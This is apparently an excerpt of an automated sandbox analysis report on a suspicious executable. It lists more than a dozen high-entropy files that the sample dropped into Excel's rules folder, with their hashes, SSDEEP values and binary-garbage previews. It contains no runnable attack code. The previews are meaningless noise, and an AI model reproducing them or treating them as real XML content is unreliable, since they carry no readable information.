Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8854967677695145
Encrypted:	false
SSDEEP:	48:h2NgPLJuOMMwM08DQ7YAARAHaDF4xu4osKCZ5gJD:hkgPLJHMMwMnQElGa+xu4os9ZQ
MD5:	5B6D672F8A950C842F0679742065CBFC
SHA1:	5CB20F1D46B96BB681AA3F554001ED8E669B6C76
SHA-256:	7AE07166E476B7B3626E345706D99BF54489C70468BD7078B954CDD0208E2A20
SHA-512:	8F9E5D783C4C00C6BCEDF7773F5FA073E2AC3C4EE6061826C4B488A755F454EF1AB3D0CB635F87E2F1C8541CC5CE057E4BD42D7B161E55645E9D18757776A3FD
Malicious:	false
Preview:	<?xml.{......8W...!g.=m..\|..g.....=.`..Eo`-..n..V.8.5e.....I7.b]..N......x.Y......f. <U.!#C]..+.z.d.hNUX.....:.4>....fd..'j..p..n.).....doz~..$.$..b..0.@..z.4"(.......N.i.../l^..'...bS...v.T..%...yC....0b...[.e.....LZ..-2%.....~.J...(.Q(n.v.\.W....O..Ym......\9..A.............W..l._.T....Ty...W.u...p...K...b.'[$l';.-.EZ....7..:I..]......k.y..Y....Aa.;w....bL.H....Vn.....O.V'J:l.&....!?3..yT.c.>.............e...o7...a.i?^.,AI.+O....8.......w..VYR..t.k.........j=.....6B.=C<8.....O.3K/..M......G:mO..\E.Fs.7...P3.....0;B...M...4.......>.......YkQ.. <......9.....U....7....h.z..}.s.kv..p.1;..l8&..J..S:.D...q..-.......,$.Q.Y....X..-.\.f.&u....?.....5.1r..\|aI%$.p.Gun..2d&.y..:...V&{.....L.rt\t..xk..U(.W....bf...X7..;_..S...T[.<.t.......M...W..f..g.......Hh........w.iZ+r+...k.uE.?z.p."^7"7.LS...lM......-#.(..]0....2S(........y.J..7F..H....uT...e..X..A]gr>.x]..M[F....5.s.y>.....LCP..=c5wG.....X....*.NR.i.Z#._.7...Q_......b]....u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.878096831800753
Encrypted:	false
SSDEEP:	24:xvAU+nNVXHfX0IVg95GzafL+PRNu2R6kYLjLLc2ACTXh3WF9jyD+bZdKHpm39pbD:xInv/00gJT+upfLjfc29TFQ+DWuUNJD
MD5:	03EE7117AC076EE9CBB28B8EADF574E6
SHA1:	5800AAB0381BC843724DF4E8F2DC8871F835C63B
SHA-256:	994DC97B76775B79A7E1337FD79406DF38D8DB6B039C2158C993B943D0047D6F
SHA-512:	63833815B62268A7EBD0C550D64C6E7A13764FC0658E5C5B46A724E3802EC6FDA5705E4CCB196ABEAA3D27FD6246D4D2EC9710BD24C5AB8D9759D85E07659BB2
Malicious:	false
Preview:	<?xml../..i,'L...Y.pv....m.;..)...m.T...+.P...(c..f.....}..y.6......._0....s(.....J;E...,...G............EJ....=Y2..v....}...I@F../.qj...w.`.......5.5J.=..V..9...uI..... .6..2b2s.."l..O.PU.="...8...>0.!JT^.U.}....eN]..j...p.K.m.....b.Uk.\|....i>J../<.......?.....d7.._.}....Kt.m..c.c.....t.F.......U%`.P".'O!US.u.b.......p:..@....G.r.w.M..X..H.+....Z!.v..8.<s....n.....U8.W3.M.i!.Cx....g..`.<[.a.jkk/........u.....0{]QG....qq%.....4.fKM.....Z`..h.~......P..K...v.>.......3......!]......K<(.I...Y.....F.....bt....t5..5N:D.).....]...e.Mk.v\Lx..7N...]b.ot..=.....i\|E.....c....p..c.3_o....A.Oo....s...Iif...@>7..1.+...&.IK.G....R...>......A.xP.!\..::.5...._+H...J\|."G?.^b...~V. Ov.>1_.....:s.i6.K.V..O..5m.{Z.....9]Of..c.&......kcqj............#9..9.Q...q..+....M.. )b....:Q..n...h..n...DY...^..:..@........a...d.+X.\|..+..t.6..\|r..vFB.....%L..I...A....v...kv.?.W..a.'..2.rPR.s.Z.#W..3......].....P!z.\|.Y\|.L.c.t\|..~.(3...S..?o_...?.N....j.SCu.E..R.K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.875108909900639
Encrypted:	false
SSDEEP:	24:PCXyjUwPn4oEjrAV+Khp9Fp488guBVUiNldCX0PNfQsyqZkVwJ4BNxeDmI9pbD:PCCjf/4o8rAVFpNJbuTcCykM64uDmeJD
MD5:	1D0055D4A2F8D7F11E25E6F5481784CD
SHA1:	E7C3F01AB2A301087072379F566BEA4C16AF497A
SHA-256:	6334F1B5860DC70A5B92DDA141E53024002D6DCA343AED2F197300D5B54DD7FE
SHA-512:	7566D78F98E4B836F994F50331CF59BE868CE12D035FB58EE8B809E4C8D7F3504C66991ACE5E1690FF0EDEEDADFD5C5B4BE67DAFAE51E1A14AF91AF0718251FB
Malicious:	false
Preview:	<?xml6:...Zy.r.t.{.[...<Y....=..z.]g.[E..>q{.N...k.v..&..G\|.>4....%.5c....h.A.......?..).....t.!....V..WO..a.....3......%B.X0./.St.' .QnP../....+2.}i.hbK.t>.@.0<x..ni.>.V.b..N.. ..4........Li9..X].c..,.c....dK.!4......a2...<\,.]cd,.5.=.j<+..Rl...36...v.k~....`.qF..x.T..tu....zS',K.>}.Y1/<J......P..!W..i.f......35..C.er!L.\|....=uC]....?.S/.6..L....VC...+>..?..'..I..+q...L.....wo..8M.K..t.XGx.g(G...1.^..U.b9J..o[..`.cY.H.B.....C.d=.]d..8..?A.%....m~.._.....G.....&......C..&.'.f.e.)Hw.'.G....[.!).m.;...u.....<.U.....9...e5...B..e....^.c.G.O..`.....]H.=..f7.w.r$.~rJ...ymC.n.......Si...F..f......W..jc.Y....pw~6..7.o\"..IgM...v.PK&..B.R......I.d....R.L.W..y...c:Ri..O..~..UhE~<2.DjdVr?K.....m!.....~.(...-.(A...S..>i..w.M.^....fZO.4.[r.F.....x. .m.v,..].n.V.g.o._B..;.<.g..yZ....F.......X@%.h...V.g}.......K....6-S.....{...tV...n.y./mF.GX.Z....6.Gy.v.D.w./.1.\3+..L.y`.h.S........5H.n...l....o........%..w......q$.T....t?...a...w.e...~ ]...8G..;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.884227709636982
Encrypted:	false
SSDEEP:	48:ga+P99uVQ+5R3GI2qnM6U1aRn8rcIotJD:tVZ5R38fn/oH
MD5:	021B6BB9662A01B1D89EFAD14A35C085
SHA1:	5FA3355CA61FC058F345EAC55A67E440FF20CFCA
SHA-256:	8114192A34A8FDBCBFED78DFF735A2BEC3753FB7AFA63BD95B77881173252811
SHA-512:	2DB3AB58511ED0F4F18849BEACA8220F6692923D0C660E1676EBE69FF1379927F2A7D62406B482F8EC9CD0793C83D93AB975B5F22A83173237A93084FEB26EFA
Malicious:	false
Preview:	<?xml.W..+m.U4.7.H&n.v....&....).,....e%].<0dJ.P.8<k-.WN.......a.DD...orJ...<X..<.+...'..R......q...D..i..W..FaO..y....b.FK#.Y...4f..k......et.H.C..../.P.Qm.....I.O.b@&...).....{e7.[.U...Apv"..+.R..5..,'.. ......cV....^....hX..e...T....bC{..X..v[i.....P...g....^.mJYu3...L..w.O...gB.l.qv./O.Iy.I.M....)..B+..K....(2..........r.... .i..b!w...K..&.c...?.E.n....[&.&.E0~.O...Z>..\|.'s...&T[....F..H{.k.......]...nO......;A...f.Q..h...-....@..7.`\|Y..........iy...oX.........L...Hd...}...lA..K.B..G.R...3.G.............MQ...:u....u.#.{...ZR...I..(W...w..J^........P^..k....Qc.r..SJ..nQ....._.........=.9...f....2.......+.(.t..b.{'.s(,.qW2..7I.,:v.....^Q.A.f..G.[.]"..O....ML..t.h.DY.2.V...W;...........s..dq5......Vl.....}.b.....V..r/OH...[!r.W9KN.T2......l.4....L..(V. ......P...W..t{....{;Q.i....R.<...P.#.h..ODr...e.^..,...)4.[.5Y(..........Z.;%.>,?.Y_.".C....>..~.8j.'...u.M.....C.A..C0 %..`;.H...\|,.H@.Gc...Z..H..i.7-L..S.}1u....BfQ.[...{...'.Q.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8950210614317315
Encrypted:	false
SSDEEP:	48:wyJ8iIOkbz2WZ9aNUFw4HoV1xkMPd+X1JD:wyJ8BO8z2WXaaFw4qks+Xv
MD5:	C9EC44F2DE844F99EAD8A4F29B43532C
SHA1:	20242E935AEFD7789C00118485CD6BBA1149D908
SHA-256:	8FAC15FA7388CE7396609173C668704914CBDCF7D547ABEDB03FB319875CED3E
SHA-512:	B919493E82A090A9B03AFC553C5F60CD03EA359AB6E8BCBCC0CCC6AC40EBE4924407AB27CC7774BA83BD16408D15B8A5A65CD9C7F7A3072B4BB7879B93420246
Malicious:	false
Preview:	<?xml...Y.\|..3..0-.9.7rB.0lw....G.)....f.8.)V\|.....$..S..j..o...b.:>\D...........[.L..&...\(f.g..zH..F`\|........k.lQ[.. x/..^..]L&..1y.L`.Y.......E..=.._..L..Q.d6...C...\|..6 .(t6...".L...Q7.C.GK...W........Kh.N.......8....&...9....CSD...)...E.Q;.[.b..e}..+.E.o..T....JU.j..'.3.e..W..S.TP."....GI.."...#..M.a...(..\|...E....Vkgm..1.>..R.n.Kl.z..r..\|............-...2.....8yy(r"w....k.,MT...+...).......n.m..0....+.....21^4..`.~..>@.I...7Hw.#.............<.v.\|G.t.5.8...F...HM....i.d.D4..?.....#....!....3\D.4....;f....Y.A%OG.4...1k.0^ez..,f..+......Z.mRCzA....=...l...$....].......L..w..q&..!...o...R..y..+b.}paA.v"..xvB.. ...c&.i........3.{Ywc...<....6.f..1.X.38J.....".or.m....]YD.).u.."..l...A.t.hN.e@%...(7../.Ag.A.....U[y\|>.$.sd^q.K?.9t..3.p....=%/aUiL+.Y.*r!.`_B......t.0...........F[.)K.Zls.9.th...G.QQQ.{.T....:.}.....b........8q....I...B..;].C.@....JID.J..Nn.hw.a.....a9S.+.C..r}.3-..14.M'..;gc..h.{D".=.%......... .D..{...J'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.867034357915618
Encrypted:	false
SSDEEP:	48:hwRQS03qJozStJ+YVUhkZwzrjW49huxJhfDa+cKJD:2RQSkqWV2ZEj782s
MD5:	E43410D5B54307CF92B90AB4C76AB001
SHA1:	EE21DBE9F5DD4E2933F6C1C006B9FA81556D28A1
SHA-256:	05A7FB8A51BCBEC4A4B0BB8E710BD438F507975D7BBD663AF72346AC4076DCE4
SHA-512:	F6818D48517E9A9821BDE097659F142FE5442CD67D43027AF25F86CC3C243D9E9D81A5A53724189146DAD27E94922280E159D5C275CE8B2BBBE1328F0E44C865
Malicious:	false
Preview:	<?xmlj.5w..Ct.(u..7.2nn1'......g_...2.(...<..0..Lb.Q....lC.NlX..._....}..,r...B.S.@....g.}lQ.\K.hu....Q......M6J...u../.....mi.W..#{.'.t.D..FI)[.b.u{...F?{..{...".N.lc......=.....u......TO..j..e\..#......0)Gj^...sYK0.z..Y.2.)....?5t._.....Ho.NL...n...KY...`....}..Gd....g.]B..e].W&.....T..A..VM..b...j...).I.....O..qC.&...w...>........F....{`m.........s..%.r?...3..D@......"8...{..5....V....}.&n.....g8.@^.C;...2.d.v}.L3!J^....'.\|...n.\..[.#.Y..C...)V..@..U.?#yX.s.-.Q...Xt.bI0...a.[,r&.O.....,>1..pe..6...f..7.a.._.zT0u......ukYL_n.x.....$>....A......._.f.?..a....ea.....lX1R.......F.t..Z..R. .k.;.7..j...K..>JF7.t...Ciz....}0._wC...N....).......H6.KU...j...B..<T.o.\|d...7..:.i.....l...a..V....w.$x-NNO.;.R..U.!.a.2p.;.D......z..&.G0...40X.g..B..(.m...\S.;. &.Y..)O%......s/,...'..;..}O......P;?......?.8......q.R..HDh...<.,..lR.H..p........Y......q..+....H.rr....{..u?..D.9..;_.o...Y./....Y......X.q......4"........G.^..!.U.:R.F......v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.882390282389977
Encrypted:	false
SSDEEP:	48:0mdDjjsjSgAWu3MtZrCuDOxFqs/8xGCgwoh6tNOpJ2JD:hHMS7WBzCuDNgWvmJA
MD5:	DA468593713F709DEB3BE5C534C12C87
SHA1:	ABA757CAD1E66BFC6B70BC1098F284FB0AF13929
SHA-256:	EE59A9489DAA1373339C78A8ADA36EA89BD4BD84D0EB53FB76F9D1A92E8B38AD
SHA-512:	E907F72FC04DFCA1D46AEA25A8BAF5A63A17E2F4D879BE27B275068DBADF201526EB64A7880FBA90A6458457BDF8FD092DBDC87AC320561421F04F7DA409A528
Malicious:	false
Preview:	<?xml.&....8.......tI..=%=E.........SQ7..1.aMT.....'m....Zb.E.....Ec.......f...XM...=)....c....P...`...twY..brq.2i.<.....G}B+.D....N.._&/.].{..;....(+Ya.Y....E.DC".{.i.O..o.5>.y...eay./$z.......y.:...`.R.......T.a....(..@:..;...t....%)..2.....7....^..s..y....(....:k.x.=...?.bN...G.A\|l...._.J.3....f.L...k..,..T.h i.[.....F..:.'.z..-B.....+3N...7..{.Z.0=-.y4L;..V.;.-_Ex.o5.Qn!.]R.Y@..4S..k...!7....<...1...r.$..S<...........V..e.p.SoT.?.............I.gI.wx.<......ihz....;.0..g..'\|q7,.:.......m..z6..6.B...m.....e.........u'.3p&.hJ....'5.\|.......b..)1.~.....FO....FI.OEv.3v.ZV....B4KR6........c.:A....O....x.0............7...... {...J.f....h..X.p...L......$.R.J.v.k..s.+.3..!..a.......-\|P....~...6W.`.H6...L.1...V...PR.r(.M..O.._...P[;....Y....jT..u}oh.........jx..lv..]q......G.V....w.....R.tZ;....t.N...\. W...p./V~u"..].5......R.kq..=.v.....-.1W....e(.k.d.0L....n.\|......U........g..]. ..@fx.:..5...y....3PAz.(,(O..&$l..........h..MS..%.y.In./.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.882665016404241
Encrypted:	false
SSDEEP:	48:V7dwBJmII6SIYEnlXu8a95yZZ4Nv6GVKIhwkJD:V7dwuInSklXA9kZGvNMIhT
MD5:	9E9A6CF027EEFDC147E0B40DE92034E2
SHA1:	6DF62338E4A5FA432C91C7401F6C19C17F6364B1
SHA-256:	B6FD2413CB5E300E39F322D688FAAEB73EB1E763FF9EAEE168F749A8DAAC7781
SHA-512:	C45ECA311CAE143036518F79A81B60E0597CD223282794691E95DC3250B120616F3C5BDFF86B95FD28CA709BCC7FA93A3370E729AAF1F2A76DD003C5AE86ED99
Malicious:	false
Preview:	<?xml.........io)W5;..0#.?d.'.4,...Z......Sd....%=......a-i.c.3..pW.f4.5.<G.hP..)....q^.../....U.fEX.R.X..I\|........fF._......F.i..M.'.+..jJ.8.'w..0.eP...........n....9.}{..j.c..q..rd.BM..9..M...!4..i.m.>...0^....7.<Q.PU....7V..........2.............<.......v..< ...Es..Q/.r.!...Efg\|.O....s....R.,jz..`H..X...I..8D.).0..9.}m#.o..$8.\qu...r.2..8-Y.Y...'..\...g.._... ./..k.]q.B.Y......]~ .21N..s,{2...?....t&...}.........J...;(...2Q....."....x(..t#....T.Z...$d.o.}.p[.r.%Q.9..!..`....5.z..M.....{S0.BS...L.C..-..k.h.I`........1.X...K.X...s....l.....3O...E4..P..u....._h..1.\.B.2...Y.k..+.@...Bp....Y.UH.F.=.[ ]'......o..hYqy....-a.....9.%&....c ....yO&.s...k.F.!R.).k{.......;o.o..).(....x._n.!..k.x.[....].........._H.'~u.!...^(Sm...(.M..E.y..#........C..#Y..<...c./......r.../.>0.!...R.........rh.q..E..n.....]u..+....!+GU.O....=..2...n_}&~e..j..d.ay....{..Qz....#....f....YE+>....>&..\|...(..2..[5i..b....N..w.4..M..2.:.. ..:h..>.1...w.V.-.J*(d..jr.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.891437912691336
Encrypted:	false
SSDEEP:	48:tmjxXLDfXjzTxV/XQutQbHmKPx/1R6RnwK5aKHXKdA4JD:85v5VrtQqKJ/76mK5aeG/
MD5:	1D2451B7ABFA66E07B8612C336BD95C8
SHA1:	724F0A56320A1D41CA84C9911CFE38A765E292A7
SHA-256:	1C2B5AEE86E4F3FC30D2F5DE9132BD84C79B0D47C36707111D6F555DC5303E32
SHA-512:	A20004C33A7D44FD859A456EFA47BA9D050D0509CEFD61C78BC75B7C10888190B2A768575CD836C284B5CC0ADFC477BD9A9827EEFCC9CD583153987B6DBC9CAD
Malicious:	false
Preview:	<?xml.../,3Km..+....x... ..j.W....3..f.......%8.....!?..^.X..H.9......c......E-.:?c.(.D..4.l...2N.&n js){k.z..}.5.j?.!x}..g.N.).....vK(b2K..g....4.......b....a._..........N2..f<.....]...B^..s^B....#.T.;..L+...\._.]......@C .J+....R.....`....(.{1..N.]u.}.......V8..................+...../a.Wiz>.%.$...3_....j.dQl...~`...........q.W..s.. ..P......ig$dN9S...9/.Z~:.......5...9..F.k&.<p....G.....J...U..kA.........U.s.....A....X.R..pH:#d.{....]P..5.4.MR~...EU...#.....T6..?A9.5.......K....p..9.....W........kUA...(......}...A......w..V..~.P........]..O.}.!`\...(,...!..>.)......OmN-.o..uE............;B....\(.....<.t?+..un...K- .jv.o....3.UG..pn..m.J&.....-....7.q..I......../.M....B.n...,I6.e.=..U...A';......{..Cg.................,..4..\.'....a.`..-..a.h.iT3W........../.Z..].G_...NZ.M.... ..o.........K.5.h..m....*1.-.<8K_....v{......0.a.0s..$.^..f....E...........b.%54..O.....9.r#.....t..A.d.U.k........2.jl..R%..:.a.F....49.@..p"...AhS.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.887693930593169
Encrypted:	false
SSDEEP:	48:ao/5CFMh6XdAEGzNIb8gJ1GjSWyIebCJD:D5C46tAE/b5mvrqk
MD5:	88CA2EAED384A8E666C9EDF7B507EB1B
SHA1:	8FC66D1A11F14D9452BC95CB370E57D601B3258C
SHA-256:	1A4FECDBD5499688B8851038DCC1E805F40C97B7DE23E5C736CA3EFDE5044E67
SHA-512:	BC278FFDE072449D5BE799EBB032279D7C20148C269FF2AE40DFEE395745B0C875CD9BC73B03A2FAA7CD82B5D93F97B56000D7540F4CC415023C6BC980DA4F48
Malicious:	false
Preview:	<?xml.yC.r.T#.........%.......B.n.....?\b0..f..j..Z....e.u..j..&L7.Sf../T..0..0.........+......b.<l..'O...._......wL..h&a..").......F..[l.%a..k...[d}0.b`/........rV.........9.T.3..w..FX....v@/\|..md.X....9...W&..].hC."+.......^j.)].rg.IM...'.....].......(..9.8.}..\|..?$x..\...".(.[...^..y......M..@.{.oX.q.....Q..V>Hq.R.;<dH}8....}p}....?[..A.3..m\..11..=..(.R.%-;'c.,..^..Q.xA..d......r..'^...^...x..O1.&.~+.A........j..3..;..x..r=F..R[..;7.IB.,ub.....F..:M..2.....g0@.#....}..P.(.]5.....kl.'dq?.1P....../^..?....h ."....a.m.X.jL.5..A...w8]..?7..D.......u.Rv-F./....!..;/..<5/..\....M=U...F..f%^.]0..Z.Q.......<.6P.j.b/..}o/1I.t..M,X.A.4....Q.Co.................z..~h...@<....b....%u._.5...z...p.t2..aV..30...N.."..P.....I......d....L...k..=..7]!. ...5Ab.<.3.....^.m%g....y......%{.!.!/s`....{w....6cUY......R...V.P.E....&c2?.a.>.3.Vnf<..=.:..L.....7..2.v.C.v....U.Q.....uvq..&2.K.....0....Y....0'...,.J.)H.OS.{...e.3p..%...[.".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8902171560849075
Encrypted:	false
SSDEEP:	48:Bp0m2Gphp89sPZvvU48OGU9ghaV+TLqdgJD:j0m2AhxZvvAOG8sL0y
MD5:	B142C27421ABF2D5D0D127F8C05599BD
SHA1:	873EBEF60120522A92B46D71C091C4904C8D4AEC
SHA-256:	940A09736EB846E7D6D4716FC67CB7BC8AF2E90E66C6D6EA6143D96BFE7B6822
SHA-512:	3E253BC1DD761B361D5C012855C86B4E5DBC9D7CA2D6B35E47F02D37744F520D7E080A6A4D46EA747AD6836B3A581C00C73A798A58D6DECFE1A85034A5E15277
Malicious:	false
Preview:	<?xml_\X.v. ..Wr.y?=..S...C.p.YC.a.D..V.$.4<.H.J.R.fJ...."...WJ..1b.j.Vi...&BF..<...af..o..@..Y...>....q"%.9_3....b!u..\...zTA.X.+U.y8.n..i.......-..B[.RT..rA.2.GO.<M..(.oD4+.\|.\|......y..f.u=..x....E...."...O...G.~s.C%,.e.v..0.g....4....S.Hlv.}.v.\....@..$.....%..q.....f3Y&31D../...79..nE2R..Q....H..=B..GW2....f...e.<2.Q8iwXt.E..T~.[..j7eL....y.r\|.s..K.N...@.B..S..tWz...1.....X.5..........`.j..:,..>...\:<.EQ...\|2...../2....N.+T..F..a..1.Y.-...N...og.......B.0..`;.c.._.?2@.J..7n...%$..K..M;..W.o..d.:'....s....Ll.o.~.z.z.......}.....Hau.....uh.......zqc3.xK..o..8[.1.....h.5Q.z....KG..i...V......9..<JEH..71....i.2.....B...Qg'D;../.C..q0,../.....`....<..%.Nc.R..m.............Imd...u-Q....4.+...88..vi\|?.Ir...(.....eu^...Q.I..^.=...I.\.,.R\|.\|.#P...'.<.H$....O.O8.F..168..].F....(55..R..l...AL...}F".1........H..O...........9..M...5j@Yw.!=W.....i....*/J..XTI.#......C@.3Q.....(...y}.vR....dOC.[H.U./.zO.\|n..sS..........4...$E..q...w.6.U]..(\%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.887899593976607
Encrypted:	false
SSDEEP:	48:A9yzQvi55BwLXkuUb/iB+LaSqOuCJlWJD:myt5CQ5eB+La+lJlg
MD5:	49993BE4DEB274299ADE4B8769326779
SHA1:	DCA6B6144513E2D7DBE87EA2737932D2AB243D17
SHA-256:	A3F1D7A146FCB49AD7B5EAA6CCB97A717F67F5EBF6BCD63D809AFE1064744CEF
SHA-512:	443A7770B6F6545452CF939D93299B7B302C0C697AA1C9192A4C8F8B3780F601434856C7DD25A77EF0C787829B76C5939A47F51AC353A3C434B138C207943C01
Malicious:	false
Preview:	<?xml..y.-.K+C...{.`.c.d..4.W.sk.3 .Kg.[..9.L.Wn...r#.3...'..vv...."...DB.........a.$[..fpT...X..Mr:o1.d.@@m....)d.Mh.kt..Jo..f. 8>r\|.SX.UA...Q...=X...X..0...sd..P...W..Ij;.F..HP.[.....d&}j.Z..O[...0.s..vr#..-...;.`.J..%.E...L..L._[k.}....#..Q.b$7.......im.R^.'....ys....r..t...."..\.q..(.a-.....<...Mk:w...T...?..d..~...Du..zEV........vb.x.9.....mv.....J...^....mq'..#....'..at.1A..O.m....aw5=...MLlh.n.z..-...aN...,.../2.]....;.Z..ZT..TR.Z.\|<..x<....Xd...0..O........e.1.."...el...(w........r...k..t..T.......:I..(..=...D...=o.#~...8o..l..j.QhP.!.R."y9.j.....%.;....C.'.....PWkf..y.<f.c..M.........qft..=..`.....e..:......QG.EB.a..<J...........iE... .....S.5....,..,..T{..z0l.Z....K\|..9x.]^...4.:.......~.j...?.3{.....9,w..V.Y..n]n.....v..,.<...o...bi.6..JB:.....d...i..5...:B.H.;....H.J..n1.....?.ud...%X.O..w/......v.........nm............BX....Q..hU...f)%.....[.y.e......$............[D.%..;PST.5A;.j...'..%E..].X:..T...k.....6.y...*D..DT...ZDZ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.887330292212032
Encrypted:	false
SSDEEP:	48:jJLv8LYtW9wUsm65zbfqpVn8YiN3+jZ92JJD:jJzIYtBm6VbfqpV8YOsG
MD5:	C837490F5E505F7B1D29230327E11EE3
SHA1:	7A66E3905F6C8310A9D0F04992F48A197A3695EB
SHA-256:	EF40F8FAFD81D34346E905F2C99D71EF9015565DA552A859391BE7FE40087339
SHA-512:	F81CCD4679C5C5D3DA517569D9AA4417B184985820ED251CA2C7816D35F0DED513FFA466D4AB1BCB89AD59C640F15C9FC0071AF5E79C3343008BE7E1F714421F
Malicious:	false
Preview:	<?xml..O.q1f.3z...Bdt.....B!;v.49\R.tY+.%..i..j...#..].c.....f..~2s[..7..c....zG........&0..0.9..n..g.@...7q......:.S.p....f..p...v........u...V.q..a.8 N(.....,.+w;...m.>....\|.....Y#.WN.i..Q(...qpM.9o..sR.]........~g<1"M....-...Z...r....h.....@.d..n./-.(..`..D.+..i......PW`Z..o.t.s.....H1]...7. ...~3..r.<3'l..<.`g....]:{c.{/.qC.V.......Rq....i.5.'(-.K...2......}Z.{5..8.v..s.C0......}.....j.....{..V...d........z.i.o8V}.}.....`."...j.).d3.zzj.4.A.'..r!f..>U...l.FV..M.....G..bz.....v`S3....!fv...........Wp..J....q.F...^g~.1.h....cJ..j..'......T.9].XX+...T-..q.....$.a...W.... ..5P...:.6.2.@.Yr.E"....J.S.S.b...T$..U6..E../G,..s.R..WU....E^F....I.~.Q.*r.Sl..-..jv.R.O....&..E.Si.bo.B.....z.U...h.R...).w.W.....J{<.b.LrP..>,...h...z..7.8..C)m4..TA.m\|...k....v7.._.C......'.%UM[}.....4...q.(\|....9.f(.nvSL..........<.:^H....7.pJ.Fg.%&.i....M<@...e"..........C..XD.)..I...t0.e.c.l.Ri....6.%....Z..Y..J......D.g.p...5.E}C..v..>..3....l.#....Y.f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.877952694577677
Encrypted:	false
SSDEEP:	24:IyXTsCYAwrSAeG9aZAs/ZXvyP050wnWepAT5QWwfFbBP1ebI7jNB/yRfOy+Rttyw:JDUrS7rfhDpAqWoPj7f/YOpR0f2rJD
MD5:	10276E65768D42824024C66E0BACE420
SHA1:	2D5AB2C80652E6B516228DC0CB3BD0F3282F4644
SHA-256:	C3F40EA2BB2D52F79EB772613A75E5930C35A6DA785EC9FAA9A97FF06309C3F6
SHA-512:	BD6B3F7A386768CD7CB4711AD7BBF28A6CE4260307CEF424DD262291461B2A1726DF7333B26EAF8BE2E71A65FC10EF90D8F279D84A9EF35EF0DD56065E79E25D
Malicious:	false
Preview:	<?xml..cQY...p.......707.B.j.nD..Y.k.M.q...3...6VM.U.....]...6.2E.2.e.T..p=!X.g]V...%.!....XX.Kvc..ST.d.z.c.H....izQS%..~..n...[.5.k>2.c...:L....p..{Q....Us.....W...._<.......EG.u.....s.LT).E".4AM.Ht]~..........+.:b.a..B-].c.s..;.s.bzZ. ..A>Q..NA.]~E.....?.Z....D......!....8.`s....u.P.h.3t..t...v2.x.e...:)5ot...yt.D....S......bh.....?.[..T.!.Yj.w<h.hZ<..X?.P./.p...c!9...E+1a..oU..<]^A....mo....Cx...j.........;.I/ ".)..,..p....c..O...l..BO.../.{d.......d..R......uQ...x....3......`.~...hoI.kY..-Uu....G.aRE........}. ..x...s..+Uuy...v..9..U."C, ..a....R[..._V..e..}S.]5m[...p..0<.lz-..B....[#Z4.q.a..9.?.m)..5..G.S..m.W...%. v..O......&1..z..OS3................{..)...nu.......{......O.....O._..j..=.._.m..B{qS. ...z..x..5;.=M....ht.N.....#....3..8pI./.<8nd...8..m_.D.WC.M?V0..i....%.`..pYVN..&#.V.. R..lL..w.up.^....)N.z!.8.n....",&R .M%.....'....(...Z.ju..3.D.q.".....i.....A.x.u)...D.\..Hn*.<E..k.8..&.$.k(....R....Z...e._2h..v.<.c&.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.869140893256278
Encrypted:	false
SSDEEP:	48:Oa+y2TWgSmxbWxYo+TANQzW6st8aV5+kmi33iOXwjiJD:Oad2TnPbMCMNt8aDPnHd
MD5:	1059F8D57962F35550581E9C99BBEAFA
SHA1:	BD2AE5B1B6F2E442AD5407C18F5C3B4F62A53125
SHA-256:	7505FA96FCAD0AC201A7259312A98B684EB090DC78BE052649CADC72DAA25298
